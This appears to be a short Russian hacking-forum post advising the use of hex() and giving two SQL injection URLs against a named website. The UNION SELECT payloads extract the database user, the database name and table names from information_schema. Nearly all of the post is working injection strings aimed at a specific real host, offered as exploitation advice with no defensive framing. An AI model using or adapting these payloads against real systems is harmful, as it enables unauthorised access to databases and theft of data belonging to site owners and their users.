используй hex():
http://design.websys.ru/?do=list&sex=1+UNION+SELECT+concat_ws(0x0b,0x0b,he x(user()),database(),0x0b)+LIMIT+1,1+--+&goal%5B0%5D%3D&goal%5B1%5D%3D&goal%5B2%5D%3D&goa l%5B3%5D%3D&goal%5B4%5D%3D&page=0
http://design.websys.ru/?do=list&sex=1+UNION+SELECT+concat_ws(0x0b,0x0b,he x(TABLE_NAME),0x0b)+FROM+information_schema.TABLES +LIMIT+1,1+--+&goal%5B0%5D%3D&goal%5B1%5D%3D&goal%5B2%5D%3D&goa l%5B3%5D%3D&goal%5B4%5D%3D&page=0

__________________
<? Raz0r.name — блог о web-безопасности